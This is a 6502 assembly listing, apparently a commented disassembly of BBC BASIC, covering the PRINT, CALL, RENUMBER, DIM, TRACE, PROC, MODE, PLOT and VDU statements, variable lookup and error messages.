jsr L8A97 ; Get next non-space character
cmp #':' ; <colon> found, finish printing
beq L8D80
cmp #$0D ; <cr> found, finish printing
beq L8D80
cmp #tknELSE ; 'ELSE' found, finish printing
beq L8D80
bne L8DD2 ; Otherwise, continue into main loop
; PRINT [~][print items]['][,][;]
; ===============================
L8D9A:
jsr L8A97 ; Get next non-space char
cmp #'#' ; If '#' jump to do PRINT#
beq L8D2B
dec $0A ; Jump into PRINT loop
jmp L8DBB
; Print a comma
; -------------
L8DA6:
lda $0400 ; If field width zero, no padding needed, jump back into main loop
beq L8DBB
lda $1E ; Get COUNT
L8DAD:
beq L8DBB ; Zero, just started a new line, no padding, jump back into main loop
sbc $0400 ; Get COUNT-field width
bcs L8DAD ; Loop to reduce until (COUNT MOD fieldwidth)<0
tay ; Y=number of spaces to get back to (COUNT MOD width)=zero
L8DB5:
jsr LB565 ; Loop to print required spaces
iny
bne L8DB5
L8DBB:
clc ; Prepare to print decimal
lda $0400 ; Set current field width from @%
sta $14
L8DC1:
ror $15 ; Set hex/dec flag from Carry
L8DC3:
jsr L8A97 ; Get next non-space character
cmp #':' ; End of statement if <colon> found
beq L8D7D
cmp #$0D ; End if statement if <cr> found
beq L8D7D
cmp #tknELSE ; End of statement if 'ELSE' found
beq L8D7D
L8DD2:
cmp #'~' ; Jump back to set hex/dec flag from Carry
beq L8DC1
cmp #',' ; Jump to pad to next print field
beq L8DA6
cmp #';' ; Jump to check for end of print statement
beq L8D83
jsr L8E70 ; Check for ' TAB SPC, if print token found return to outer main loop
bcc L8DC3
; All print formatting have been checked, so it now must be an expression
; -----------------------------------------------------------------------
lda $14 ; Save field width and flags, as evaluator
pha ; may call PRINT (eg FN, STR$, etc.)
lda $15
pha
dec $1B ; Evaluate expression
jsr L9B29
pla ; Restore field width and flags
sta $15
pla
sta $14
lda $1B ; Update program pointer
sta $0A
tya ; If type=0, jump to print string
beq L8E0E
jsr L9EDF ; Convert numeric value to string
lda $14 ; Get current field width
sec ; A=width-stringlength
sbc $36
bcc L8E0E ; length>width - print it
beq L8E0E ; length=width - print it
tay
L8E08:
jsr LB565 ; Loop to print required spaces to pad the number
dey
bne L8E08
; Print string in string buffer
; -----------------------------
L8E0E:
lda $36 ; Null string, jump back to main loop
beq L8DC3
ldy #$00 ; Point to start of string
L8E14:
lda $0600,y ; Print character from string buffer
jsr LB558
iny ; Increment pointer, loop for full string
cpy $36
bne L8E14
beq L8DC3 ; Jump back for next print item
L8E21:
jmp L8AA2
L8E24:
cmp #',' ; No comma, jump to TAB(x)
bne L8E21
lda $2A ; Save X
pha
jsr LAE56
jsr L92F0
; BBC - send VDU 31,x,y sequence
; ------------------------------
lda #$1F ; TAB()
jsr OSWRCH
pla ; X coord
jsr OSWRCH
jsr L9456 ; Y coord
jmp L8E6A ; Continue to next PRINT item
L8E40:
jsr L92DD
jsr L8A8C
cmp #')'
bne L8E24
lda $2A
sbc $1E
beq L8E6A
tay
bcs L8E5F
jsr LBC25
beq L8E5B
L8E58:
jsr L92E3
L8E5B:
ldy $2A
beq L8E6A
L8E5F:
jsr LB565
dey
bne L8E5F
beq L8E6A
L8E67:
jsr LBC25
L8E6A:
clc
ldy $1B
sty $0A
rts
L8E70:
ldx $0B
stx $19
ldx $0C
stx $1A
ldx $0A
stx $1B
cmp #$27
beq L8E67
cmp #$8A
beq L8E40
cmp #$89
beq L8E58
sec
L8E89:
rts
L8E8A:
jsr L8A97 ; Skip spaces
jsr L8E70
bcc L8E89
cmp #$22
beq L8EA7
sec
rts
L8E98:
brk
.byte $09, "Missing ", '"'
brk
L8EA4:
jsr LB558
L8EA7:
iny
lda ($19),y
cmp #$0D
beq L8E98
cmp #$22
bne L8EA4
iny
sty $1B
lda ($19),y
cmp #$22
bne L8E6A
beq L8EA4
; CLG
; ===
L8EBD:
.if .defined (PSBC)
jmp L9821 ; Syntax error
.else
jsr L9857 ; Check end of statement
lda #$10 ; Jump to do VDU 16
bne L8ECC
.endif
; CLS
; ===
L8EC4:
jsr L9857 ; Check end of statement
jsr LBC28 ; Set COUNT to zero
lda #$0C ; Do VDU 12
L8ECC:
jsr OSWRCH ; Send A to OSWRCH, jump to execution loop
jmp L8B9B
; CALL numeric [,items ... ]
; ==========================
L8ED2:
jsr L9B1D
jsr L92EE
jsr LBD94
ldy #$00
sty $0600
L8EE0:
sty $06FF
jsr L8A8C
cmp #$2C
bne L8F0C
ldy $1B
jsr L95D5
beq L8F1B
ldy $06FF
iny
lda $2A
sta $0600,y
iny
lda $2B
sta $0600,y
iny
lda $2C
sta $0600,y
inc $0600
jmp L8EE0
L8F0C:
dec $1B
jsr L9852
jsr LBDEA
jsr L8F1E
cld
jmp L8B9B
L8F1B:
jmp LAE43
;Call code
;---------
L8F1E:
lda $040C ; Get Carry from C%, A from A%
lsr a
lda $0404
ldx $0460 ; Get X from X%, Y from Y%
ldy $0464
jmp ($002A) ; Jump to address in IntA
L8F2E:
jmp L982A
; DELETE linenum, linenum
; =======================
L8F31:
jsr L97DF
bcc L8F2E
jsr LBD94
jsr L8A97
cmp #$2C
bne L8F2E
jsr L97DF
bcc L8F2E
jsr L9857
lda $2A
sta $39
lda $2B
sta $3A
jsr LBDEA
L8F53:
jsr LBC2D
jsr L987B
jsr L9222
lda $39
cmp $2A
lda $3A
sbc $2B
bcs L8F53
jmp L8AF3
L8F69:
lda #$0A
jsr LAED8
jsr L97DF
jsr LBD94
lda #$0A
jsr LAED8
jsr L8A97
cmp #$2C
bne L8F8D
jsr L97DF
lda $2B
bne L8FDF
lda $2A
beq L8FDF
inc $0A
L8F8D:
dec $0A
jmp L9857
L8F92:
lda $12
sta $3B
lda $13
sta $3C
L8F9A:
lda $18
sta $38
lda #$01
sta $37
rts
; RENUMBER [linenume [,linenum]]
; ==============================
L8FA3:
jsr L8F69
ldx #$39
jsr LBE0D
jsr LBE6F
jsr L8F92
L8FB1:
ldy #$00
lda ($37),y ; Line.hi>&7F, end of program
bmi L8FE7
sta ($3B),y
iny
lda ($37),y
sta ($3B),y
sec
tya
adc $3B
sta $3B
tax
lda $3C
adc #$00
sta $3C
cpx $06
sbc $07
bcs L8FD6
jsr L909F
bcc L8FB1
L8FD6:
brk
.byte $00, tknRENUMBER
.byte " space" ; Terminated by following BRK
L8FDF:
brk
.byte $00, "Silly"
brk
L8FE7:
jsr L8F9A
L8FEA:
ldy #$00
lda ($37),y
bmi L900D
lda $3A
sta ($37),y
lda $39
iny
sta ($37),y
clc
lda $2A
adc $39
sta $39
lda #$00
adc $3A
and #$7F
sta $3A
jsr L909F
bcc L8FEA
L900D:
lda $18
sta $0C
ldy #$00
sty $0B
iny
lda ($0B),y
bmi L903A
L901A:
ldy #$04
L901C:
lda ($0B),y
cmp #$8D
beq L903D
iny
cmp #$0D
bne L901C
lda ($0B),y
bmi L903A
ldy #$03
lda ($0B),y
clc
adc $0B
sta $0B
bcc L901A
inc $0C
bcs L901A
L903A:
jmp L8AF3
L903D:
jsr L97EB
jsr L8F92
L9043:
ldy #$00
lda ($37),y
bmi L9080
lda ($3B),y
iny
cmp $2B
bne L9071
lda ($3B),y
cmp $2A
bne L9071
lda ($37),y
sta $3D
dey
lda ($37),y
sta $3E
ldy $0A
dey
lda $0B
sta $37
lda $0C
sta $38
jsr L88F5
L906D:
ldy $0A
bne L901C
L9071:
jsr L909F
lda $3B
adc #$02
sta $3B
bcc L9043
inc $3C
bcs L9043
L9080:
L9082:
jsr LBFCF ; Print inline text
.byte "Failed at "
iny
lda ($0B),y
sta $2B
iny
lda ($0B),y
sta $2A
jsr L991F ; Print in decimal
jsr LBC25 ; Print newline
beq L906D
L909F:
iny
lda ($37),y
adc $37
sta $37
bcc L90AB
inc $38
clc
L90AB:
rts
; AUTO [numeric [, numeric ]]
; ===========================
L90AC:
jsr L8F69
lda $2A
pha
jsr LBDEA
L90B5:
jsr LBD94
jsr L9923
lda #$20
jsr LBC02
jsr LBDEA
jsr L8951
jsr LBC8D
jsr LBD20
pla
pha
clc
adc $2A
sta $2A
bcc L90B5
inc $2B
bpl L90B5
L90D9:
jmp L8AF3
L90DC:
jmp L9218
L90DF:
dec $0A
jsr L9582
beq L9127
bcs L9127
jsr LBD94
jsr L92DD
jsr L9222
lda $2D
ora $2C
bne L9127
clc
lda $2A
adc $02
tay
lda $2B
adc $03
tax
cpy $04
sbc $05
bcs L90DC
lda $02
sta $2A
lda $03
sta $2B
sty $02
stx $03
lda #$00
sta $2C
sta $2D
lda #$40
sta $27
jsr LB4B4
jsr L8827
jmp L920B
L9127:
brk
.byte 10, "Bad ", tknDIM
brk
; DIM numvar [numeric] [(arraydef)]
; =================================
L912F:
jsr L8A97
tya
clc
adc $0B
ldx $0C
bcc L913C
inx
clc
L913C:
sbc #$00
sta $37
txa
sbc #$00
sta $38
ldx #$05
stx $3F
ldx $0A
jsr L9559
cpy #$01
beq L9127
cmp #'('
beq L916B
cmp #$24
beq L915E
cmp #$25
bne L9168
L915E:
dec $3F
iny
inx
lda ($37),y
cmp #'('
beq L916B
L9168:
jmp L90DF
L916B:
sty $39
stx $0A
jsr L9469
bne L9127
jsr L94FC
ldx #$01
jsr L9531
lda $3F
pha
lda #$01
pha
jsr LAED8
L9185:
jsr LBD94
jsr L8821
lda $2B
and #$C0
ora $2C
ora $2D
bne L9127
jsr L9222
pla
tay
lda $2A
sta ($02),y
iny
lda $2B
sta ($02),y
iny
tya
pha
jsr L9231
jsr L8A97
cmp #$2C
beq L9185
cmp #')'
beq L91B7
jmp L9127
L91B7:
pla
sta $15
pla
sta $3F
lda #$00
sta $40
jsr L9236
ldy #$00
lda $15
sta ($02),y
adc $2A
sta $2A
bcc L91D2
inc $2B
L91D2:
lda $03
sta $38
lda $02
sta $37
clc
adc $2A
tay
lda $2B
adc $03
bcs L9218
tax
cpy $04
sbc $05
bcs L9218
sty $02
stx $03
lda $37
adc $15
tay
lda #$00
sta $37
bcc L91FC
inc $38
L91FC:
sta ($37),y
iny
bne L9203
inc $38
L9203:
cpy $02
bne L91FC
cpx $38
bne L91FC
L920B:
jsr L8A97
cmp #$2C
beq L9215
jmp L8B96
L9215:
jmp L912F
L9218:
brk
.byte 11, tknDIM, " space"
brk
L9222:
inc $2A
bne L9230
inc $2B
bne L9230
inc $2C
bne L9230
inc $2D
L9230:
rts
L9231:
ldx #$3F
jsr LBE0D
L9236:
ldx #$00
ldy #$00
L923A:
lsr $40
ror $3F
bcc L924B
clc
tya
adc $2A
tay
txa
adc $2B
tax
bcs L925A
L924B:
asl $2A
rol $2B
lda $3F
ora $40
bne L923A
sty $2A
stx $2B
rts
L925A:
jmp L9127
; HIMEM=numeric
; =============
L925D:
jsr L92EB ; Set past '=', evaluate integer
lda $2A ; Set HIMEM and STACK
sta $06
sta $04
lda $2B
sta $07
sta $05
jmp L8B9B ; Jump back to execution loop
; LOMEM=numeric
; =============
L926F:
jsr L92EB ; Step past '=', evaluate integer
lda $2A ; Set LOMEM and VAREND
sta $00
sta $02
lda $2B
sta $01
sta $03
jsr LBD2F ; Clear dynamic variables, jump to execution loop
beq L928A
; PAGE=numeric
; ============
L9283:
jsr L92EB ; Step past '=', evaluate integer
lda $2B ; Set PAGE
sta $18
L928A:
jmp L8B9B ; Jump to execution loop
; CLEAR
; =====
L928D:
jsr L9857 ; Check end of statement
jsr LBD20 ; Clear heap, stack, data, variables
beq L928A ; Jump to execution loop
; TRACE ON | OFF | numeric
; ========================
L9295:
jsr L97DF ; If line number, jump for TRACE linenum
bcs L92A5
cmp #$EE ; Jump for TRACE ON
beq L92B7
cmp #$87 ; Jump for TRACE OFF
beq L92C0
jsr L8821 ; Evaluate integer
; TRACE numeric
; -------------
L92A5:
jsr L9857 ; Check end of statement
lda $2A ; Set trace limit low byte
sta $21
lda $2B
L92AE:
sta $22 ; Set trace limit high byte, set TRACE ON
lda #$FF
L92B2:
sta $20 ; Set TRACE flag, return to execution loop
jmp L8B9B
; TRACE ON
; --------
L92B7:
inc $0A ; Step past, check end of statement
jsr L9857
lda #$FF ; Jump to set TRACE &FFxx
bne L92AE
; TRACE OFF
; ---------
L92C0:
inc $0A ; Step past, check end of statement
jsr L9857
lda #$00 ; Jump to set TRACE OFF
beq L92B2
; TIME=numeric
; ============
L92C9:
jsr L92EB ; Step past '=', evaluate integer
ldx #$2A ; Point to integer, set 5th byte to 0
ldy #$00
sty $2E
lda #$02 ; Call OSWORD &02 to do TIME=
jsr OSWORD
jmp L8B9B
; Evaluate <comma><numeric>
; =========================
L92DA:
jsr L8AAE ; Check for and step past comma
L92DD:
jsr L9B29
jmp L92F0
L92E3:
jsr LADEC
beq L92F7
bmi L92F4
L92EA:
rts
; Evaluate <equals><integer>
; ==========================
L92EB:
jsr L9807 ; Check for equals, evaluate numeric
L92EE:
lda $27 ; Get result type
L92F0:
beq L92F7 ; String, jump to 'Type mismatch'
bpl L92EA ; Integer, return
L92F4:
jmp LA3E4 ; Real, jump to convert to integer
L92F7:
jmp L8C0E ; Jump to 'Type mismatch' error
; Evaluate <real>
; ===============
L92FA:
jsr LADEC ; Evaluate expression
; Ensure value is real
; --------------------
L92FD:
beq L92F7 ; String, jump to 'Type mismatch'
bmi L92EA ; Real, return
jmp LA2BE ; Integer, jump to convert to real
; PROCname [(parameters)]
; =======================
L9304:
lda $0B ; PtrB=PtrA=>after 'PROC' token
sta $19
lda $0C
sta $1A
lda $0A
sta $1B
lda #$F2 ; Call PROC/FN dispatcher
jsr LB197 ; Will return here after ENDPROC
jsr L9852 ; Check for end of statement
jmp L8B9B ; Return to execution loop
; Make string zero length
; -----------------------
L931B:
ldy #$03 ; Set length to zero
lda #$00
sta ($2A),y ; Jump to look for next LOCAL item
beq L9341
; LOCAL variable [,variable ...]
; ==============================
L9323:
tsx ; Not inside subroutine, error
cpx #$FC
bcs L936B
jsr L9582 ; Find variable, jump if bad variable name
beq L9353
jsr LB30D ; Push value on stack, push variable info on stack
ldy $2C ; If a string, jump to make zero length
bmi L931B
jsr LBD94
lda #$00 ; Set IntA to zero
jsr LAED8
sta $27 ; Set current variable to IntA (zero)
jsr LB4B4
; Next LOCAL item
; ---------------
L9341:
tsx ; Increment number of LOCAL items
inc $0106,x
ldy $1B ; Update line pointer
sty $0A
jsr L8A97 ; Get next character
cmp #$2C ; Comma, loop back to do another item
beq L9323
jmp L8B96 ; Jump to main execution loop
L9353:
jmp L8B98
; ENDPROC
; =======
; Stack needs to contain these items,
; ret_lo, ret_hi, PtrB_hi, PtrB_lo, PtrB_off, numparams, PtrA_hi, PtrA_lo, PtrA_off, tknPROC
L9356:
tsx ; If stack empty, jump to give error
cpx #$FC
bcs L9365
lda $01FF ; If pushed token<>'PROC', give error
cmp #$F2
bne L9365
jmp L9857 ; Check for end of statement and return to pop from subroutine
L9365:
brk
.byte 13, "No ", tknPROC ; Terminated by following BRK
L936B:
brk
.byte 12, "Not ", tknLOCAL ; Terminated by following BRK
L9372:
brk
.byte $19, "Bad ", tknMODE
brk
; GCOL numeric, numeric
; =====================
L937A:
.if .defined (PSBC)
jmp L9821 ; Syntax error
.else
jsr L8821 ; Evaluate integer
lda $2A
pha
jsr L92DA ; Step past comma, evaluate integer
jsr L9852 ; Update program pointer, check for end of statement
lda #$12 ; Send VDU 18 for GCOL
jsr OSWRCH
jmp L93DA ; Jump to send two bytes to OSWRCH
.endif
; COLOUR numeric
; ==============
L938E:
.if .defined (PSBC)
jmp L9821 ; Syntax error
.else
lda #$11 ; Stack VDU 17 for COLOUR
pha
jsr L8821 ; Evaluate integer, check end of statement
jsr L9857
jmp L93DA ; Jump to send two bytes to OSWRCH
.endif
; MODE numeric
; ============
L939A:
lda #$16 ; Stack VDU 22 for MODE
pha
jsr L8821 ; Evaluate integer, check end of statement
jsr L9857
; BBC - Check if changing MODE will move screen into stack
; --------------------------------------------------------
jsr LBEE7 ; Get machine address high word
cpx #$FF ; Not &xxFFxxxx, skip memory test
bne L93D7
cpy #$FF ; Not &FFFFxxxx, skip memory test
bne L93D7
; MODE change in I/O processor, must check memory limits
lda $04 ; STACK<>HIMEM, stack not empty, give 'Bad MODE' error
cmp $06
bne L9372
lda $05
cmp $07
bne L9372
ldx $2A ; Get top of memory if we used this MODE
lda #$85
jsr OSBYTE
cpx $02 ; Would be below VAREND, give error
tya
sbc $03
bcc L9372
cpx $12 ; Would be below TOP, give error
tya
sbc $13
bcc L9372
; BASIC stack is empty, screen would not hit heap or program
stx $06 ; Set STACK and HIMEM to new address
stx $04
sty $07
sty $05
; Change MODE
L93D7:
.if .defined (PSBC)
jmp L9821 ; Syntax error
.else
jsr LBC28 ; Set COUNT to zero
; Send two bytes to OSWRCH, stacked byte, then IntA
; -------------------------------------------------
L93DA:
pla ; Send stacked byte to OSWRCH
jsr OSWRCH
jsr L9456 ; Send IntA to OSWRCH, jump to execution loop
jmp L8B9B
.endif
; MOVE numeric, numeric
; =====================
L93E4:
.if .defined (PSBC)
jmp L9821 ; Syntax error
.else
lda #$04 ; Jump forward to do PLOT 4 for MOVE
bne L93EA
.endif
; DRAW numeric, numeric
; =====================
L93E8:
.if .defined (PSBC)
jmp L9821 ; Syntax error
.else
lda #$05 ; Do PLOT 5 for DRAW
L93EA:
pha ; Evaluate first expression
jsr L9B1D
jmp L93FD ; Jump to evaluate second expression and send to OSWRCH
.endif
; PLOT numeric, numeric, numeric
; ==============================
L93F1:
.if .defined (PSBC)
jmp L9821 ; Syntax error
.else
jsr L8821 ; Evaluate integer
lda $2A
pha
jsr L8AAE ; Step past comma, evaluate expression
jsr L9B29
L93FD:
jsr L92EE ; Confirm numeric and ensure is integer
jsr LBD94 ; Stack integer
jsr L92DA ; Step past command and evaluate integer
jsr L9852 ; Update program pointer, check for end of statement
lda #$19 ; Send VDU 25 for PLOT
jsr OSWRCH
pla ; Send PLOT action
jsr OSWRCH
jsr LBE0B ; Pop integer to temporary store at &37/8
lda $37 ; Send first coordinate to OSWRCH
jsr OSWRCH
lda $38
jsr OSWRCH
jsr L9456 ; Send IntA to OSWRCH, second coordinate
lda $2B ; Send IntA high byte to OSWRCH
jsr OSWRCH
jmp L8B9B ; Jump to execution loop
.endif
L942A:
lda $2B ; Send IntA byte 2 to OSWRCH
jsr OSWRCH
; VDU num[,][;][...]
; ==================
L942F:
jsr L8A97 ; Get next character
L9432:
cmp #$3A ; If end of statement, jump to exit
beq L9453
cmp #$0D
beq L9453
cmp #$8B
beq L9453
dec $0A ; Step back to current character
jsr L8821 ; Evaluate integer and output low byte
jsr L9456
jsr L8A97 ; Get next character
cmp #',' ; Comma, loop to read another number
beq L942F
cmp #';' ; Not semicolon, loop to check for end of statement
bne L9432
beq L942A ; Loop to output high byte and read another
L9453:
jmp L8B96 ; Jump to execution loop
; Send IntA to OSWRCH via WRCHV
; =============================
L9456:
lda $2A
jmp (WRCHV)
; VARIABLE PROCESSING
; ===================
; Look for a FN/PROC in heap
; --------------------------
; On entry, (&37)+1=>FN/PROC token (ie, first character of name)
;
L945B:
ldy #$01 ; Get PROC/FN character
lda ($37),y
ldy #$F6 ; Get PROC/FN character
cmp #tknPROC ; If PROC, jump to scan list
beq L946F
ldy #$F8 ; Point to FN list start and scan list
bne L946F
; Look for a variable in the heap
; -------------------------------
; On entry, (&37)+1=>first character of name
;
L9469:
ldy #$01 ; Get first character of variable
lda ($37),y
asl a ; Double it to index into index list
tay
; Scan though linked lists in heap
; --------------------------------
L946F:
lda $0400,y ; Get start of linked list
sta $3A
lda $0401,y
sta $3B
L9479:
lda $3B ; End of list
beq L94B2
ldy #$00
lda ($3A),y
sta $3C
iny
lda ($3A),y
sta $3D
iny ; Jump if not null name
lda ($3A),y
bne L949A
dey
cpy $39
bne L94B3
iny
bcs L94A7
L9495:
iny
lda ($3A),y
beq L94B3
L949A:
cmp ($37),y
bne L94B3
cpy $39
bne L9495
iny
lda ($3A),y
bne L94B3
L94A7:
tya
adc $3A
sta $2A
lda $3B
adc #$00
sta $2B
L94B2:
rts
L94B3:
lda $3D
beq L94B2
ldy #$00
lda ($3C),y
sta $3A
iny
lda ($3C),y
sta $3B
iny
lda ($3C),y
bne L94D4
dey
cpy $39
bne L9479
iny
bcs L94E1
L94CF:
iny
lda ($3C),y
beq L9479
L94D4:
cmp ($37),y
bne L9479
cpy $39
bne L94CF
iny
lda ($3C),y
bne L9479
L94E1:
tya
adc $3C
sta $2A
lda $3D
adc #$00
sta $2B
rts
L94ED:
ldy #$01
lda ($37),y
tax
lda #$F6
cpx #$F2
beq L9501
lda #$F8
bne L9501
L94FC:
ldy #$01
lda ($37),y
asl a
L9501:
sta $3A
lda #$04
sta $3B
L9507:
lda ($3A),y
beq L9516
tax
dey
lda ($3A),y
sta $3A
stx $3B
iny
bpl L9507
L9516:
lda $03
sta ($3A),y
lda $02
dey
sta ($3A),y
tya
iny
sta ($02),y
cpy $39
beq L9558
L9527:
iny
lda ($37),y
sta ($02),y
cpy $39
bne L9527
rts
L9531:
lda #$00
L9533:
iny
sta ($02),y
dex
bne L9533
L9539:
sec
tya
adc $02
bcc L9541
inc $03
L9541:
ldy $03
cpy $05
bcc L9556
bne L954D
cmp $04
bcc L9556
L954D:
lda #$00
ldy #$01
sta ($3A),y
jmp L8CB7
L9556:
sta $02
L9558:
rts
; Check if variable name is valid
; ===============================
L9559:
ldy #$01
L955B:
lda ($37),y
cmp #$30
bcc L9579
cmp #$40
bcs L9571
cmp #$3A
bcs L9579
cpy #$01
beq L9579
L956D:
inx
iny
bne L955B
L9571:
cmp #$5F
bcs L957A
cmp #$5B
bcc L956D
L9579:
rts
L957A:
cmp #$7B
bcc L956D
rts
L957F:
jsr L9531
L9582:
jsr L95C9
bne L95A4
bcs L95A4
jsr L94FC
ldx #$05
cpx $2C
bne L957F
inx
bne L957F
L9595:
cmp #$21
beq L95A5
cmp #$24
beq L95B0
eor #$3F
beq L95A7
lda #$00
sec
L95A4:
rts
L95A5:
lda #$04
L95A7:
pha
inc $1B
jsr L92E3
jmp L969F
L95B0:
inc $1B
jsr L92E3
lda $2B
beq L95BF
lda #$80
sta $2C
sec
rts
L95BF:
brk
.byte 8, "$ range"
brk
L95C9:
lda $0B
sta $19
lda $0C
sta $1A
ldy $0A
dey
L95D4:
iny
L95D5:
sty $1B
lda ($19),y
cmp #$20
beq L95D4
L95DD:
cmp #$40
bcc L9595
cmp #$5B
bcs L95FF
asl a
asl a
sta $2A
lda #$04
sta $2B
iny
lda ($19),y
iny
cmp #$25
bne L95FF
ldx #$04
stx $2C
lda ($19),y
cmp #'('
bne L9665
L95FF:
ldx #$05
stx $2C
lda $1B
clc
adc $19
ldx $1A
bcc L960E
inx
clc
L960E:
sbc #$00
sta $37
bcs L9615
dex
L9615:
stx $38
ldx $1B
ldy #$01
L961B:
lda ($37),y
cmp #$41
bcs L962D
cmp #$30
bcc L9641
cmp #$3A
bcs L9641
inx
iny
bne L961B
L962D:
cmp #$5B
bcs L9635
inx
iny
bne L961B
L9635:
cmp #$5F
bcc L9641
cmp #$7B
bcs L9641
inx
iny
bne L961B
L9641:
dey
beq L9673
cmp #$24
beq L96AF
cmp #$25
bne L9654
dec $2C
iny
inx
iny
lda ($37),y
dey
L9654:
sty $39
cmp #'('
beq L96A6
jsr L9469
beq L9677
stx $1B
L9661:
ldy $1B
lda ($19),y
L9665:
cmp #$21
beq L967F
cmp #$3F
beq L967B
clc
sty $1B
lda #$FF
rts
L9673:
lda #$00
sec
rts
L9677:
lda #$00
clc
rts
L967B:
lda #$00
beq L9681
L967F:
lda #$04
L9681:
pha
iny
sty $1B
jsr LB32C
jsr L92F0
lda $2B
pha
lda $2A
pha
jsr L92E3
clc
pla
adc $2A
sta $2A
pla
adc $2B
sta $2B
L969F:
pla
sta $2C
clc
lda #$FF
rts
L96A6:
inx
inc $39
jsr L96DF
jmp L9661
L96AF:
inx
iny
sty $39
iny
dec $2C
lda ($37),y
cmp #'('
beq L96C9
jsr L9469
beq L9677
stx $1B
lda #$81
sta $2C
sec
rts
L96C9:
inx
sty $39
dec $2C
jsr L96DF
lda #$81
sta $2C
sec
rts
L96D7:
brk
.byte 14, "Array"
brk
L96DF:
jsr L9469
beq L96D7
stx $1B
lda $2C
pha
lda $2A
pha
lda $2B
pha
ldy #$00
lda ($2A),y
cmp #$04
bcc L976C
tya
jsr LAED8
lda #$01
sta $2D
L96FF:
jsr LBD94
jsr L92DD
inc $1B
cpx #$2C
bne L96D7
ldx #$39
jsr LBE0D
ldy $3C
pla
sta $38
pla
sta $37
pha
lda $38
pha
jsr L97BA
sty $2D
lda ($37),y
sta $3F
iny
lda ($37),y
sta $40
lda $2A
adc $39
sta $2A
lda $2B
adc $3A
sta $2B
jsr L9236
ldy #$00
sec
lda ($37),y
sbc $2D
cmp #$03
bcs L96FF
jsr LBD94
jsr LAE56
jsr L92F0
pla
sta $38
pla
sta $37
ldx #$39
jsr LBE0D
ldy $3C
jsr L97BA
clc
lda $39
adc $2A
sta $2A
lda $3A
adc $2B
sta $2B
bcc L977D
L976C:
jsr LAE56
jsr L92F0
pla
sta $38
pla
sta $37
ldy #$01
jsr L97BA
L977D:
pla
sta $2C
cmp #$05
bne L979B
ldx $2B
lda $2A
asl $2A
rol $2B
asl $2A
rol $2B
adc $2A
sta $2A
txa
adc $2B
sta $2B
bcc L97A3
L979B:
asl $2A
rol $2B
asl $2A
rol $2B
L97A3:
tya
adc $2A
sta $2A
bcc L97AD
inc $2B
clc
L97AD:
lda $37
adc $2A
sta $2A
lda $38
adc $2B
sta $2B
rts
L97BA:
lda $2B
and #$C0
ora $2C
ora $2D
bne L97D1
lda $2A
cmp ($37),y
iny
lda $2B
sbc ($37),y
bcs L97D1
iny
rts
L97D1:
brk
.byte 15, "Subscript"
brk
L97DD:
inc $0A
L97DF:
ldy $0A
lda ($0B),y
cmp #$20
beq L97DD
cmp #$8D
bne L9805
L97EB:
iny
lda ($0B),y
asl a
asl a
tax
and #$C0
iny
eor ($0B),y
sta $2A
txa
asl a
asl a
iny
eor ($0B),y
sta $2B
iny
sty $0A
sec
rts
L9805:
clc
rts
L9807:
lda $0B
sta $19
lda $0C
sta $1A
lda $0A
sta $1B
L9813:
ldy $1B
inc $1B
lda ($19),y
cmp #$20
beq L9813
cmp #$3D
beq L9849
L9821:
brk
.byte 4, "Mistake"
L982A:
brk
.byte 16, "Syntax error"
; Escape error
; ------------
L9838:
brk
.byte 17, "Escape"
brk
L9841:
jsr L8A8C
cmp #'='
bne L9821
rts
L9849:
jsr L9B29
L984C:
txa
ldy $1B
jmp L9861
L9852:
ldy $1B
jmp L9859
; Check for end of statement, check for Escape
; ============================================
L9857:
ldy $0A ; Get program pointer offset
L9859:
dey ; Step back to previous character
L985A:
iny ; Get next character
lda ($0B),y
cmp #' ' ; Skip spaces
beq L985A
L9861:
cmp #':' ; Colon, jump to update program pointer
beq L986D
cmp #$0D ; <cr>, jump to update program pointer
beq L986D
cmp #tknELSE ; Not 'ELSE', jump to 'Syntax error'
bne L982A
; Update program pointer
; ----------------------
L986D:
clc ; Update program pointer in PtrA
tya
adc $0B
sta $0B
bcc L9877
inc $0C
L9877:
ldy #$01
sty $0A
; Check background Escape state
; -----------------------------
L987B:
; BBC - check background Escape state
; -----------------------------------
bit ESCFLG ; If Escape set, jump to give error
bmi L9838
L987F:
rts
L9880:
jsr L9857
dey
lda ($0B),y
cmp #$3A
beq L987F
lda $0C
cmp #$07
beq L98BC
L9890:
iny
lda ($0B),y
bmi L98BC
lda $20
beq L98AC
tya
pha
iny
lda ($0B),y
pha
dey
lda ($0B),y
tay
pla
jsr LAEEA
jsr L9905
pla
tay
L98AC:
iny
sec
tya
adc $0B
sta $0B
bcc L98B7
inc $0C
L98B7:
ldy #$01
sty $0A
L98BB:
rts
L98BC:
jmp L8AF6
L98BF:
jmp L8C0E
; IF numeric
; ==========
L98C2:
jsr L9B1D
beq L98BF
bpl L98CC
jsr LA3E4
L98CC:
ldy $1B
sty $0A
lda $2A
ora $2B
ora $2C
ora $2D
beq L98F1
cpx #$8C
beq L98E1
L98DE:
jmp L8BA3
L98E1:
inc $0A
L98E3:
jsr L97DF
bcc L98DE
jsr LB9AF
jsr L9877
jmp LB8D2
L98F1:
ldy $0A
L98F3:
lda ($0B),y
cmp #$0D
beq L9902
iny
cmp #$8B
bne L98F3
sty $0A
beq L98E3
L9902:
jmp L8B87
L9905:
lda $2A
cmp $21
lda $2B
sbc $22
bcs L98BB
lda #$5B
L9911:
jsr LB558
jsr L991F
lda #$5D
jsr LB558
jmp LB565
;Print 16-bit decimal number
;===========================
L991F:
lda #$00 ; No padding
beq L9925
L9923:
lda #$05 ; Pad to five characters
L9925:
sta $14
ldx #$04
L9929:
lda #$00
sta $3F,x
sec
L992E:
lda $2A
sbc L996B,x ; Subtract 10s low byte
tay
lda $2B
sbc L99B9,x ; Subtract 10s high byte
bcc L9943 ; Result<0, no more for this digit
sta $2B ; Update number
sty $2A
inc $3F,x
bne L992E
L9943:
dex
bpl L9929
ldx #$05
L9948:
dex
beq L994F
lda $3F,x
beq L9948
L994F:
stx $37
lda $14
beq L9960
sbc $37
beq L9960
tay
L995A:
jsr LB565
dey
bne L995A
L9960:
lda $3F,x
ora #$30
jsr LB558
dex
bpl L9960
rts
; Low bytes of powers of ten
L996B:
.byte 1, 10, 100, $E8, $10
; Line Search
L9970:
ldy #$00
sty $3D
lda $18
sta $3E
L9978:
ldy #$01
lda ($3D),y
cmp $2B
bcs L998E
L9980:
ldy #$03
lda ($3D),y
adc $3D
sta $3D
bcc L9978
inc $3E
bcs L9978
L998E:
bne L99A4
ldy #$02
lda ($3D),y
cmp $2A
bcc L9980
bne L99A4
tya
adc $3D
sta $3D
bcc L99A4
inc $3E
clc
L99A4:
ldy #$02
rts
L99A7:
brk
.byte $12, "Division by zero"
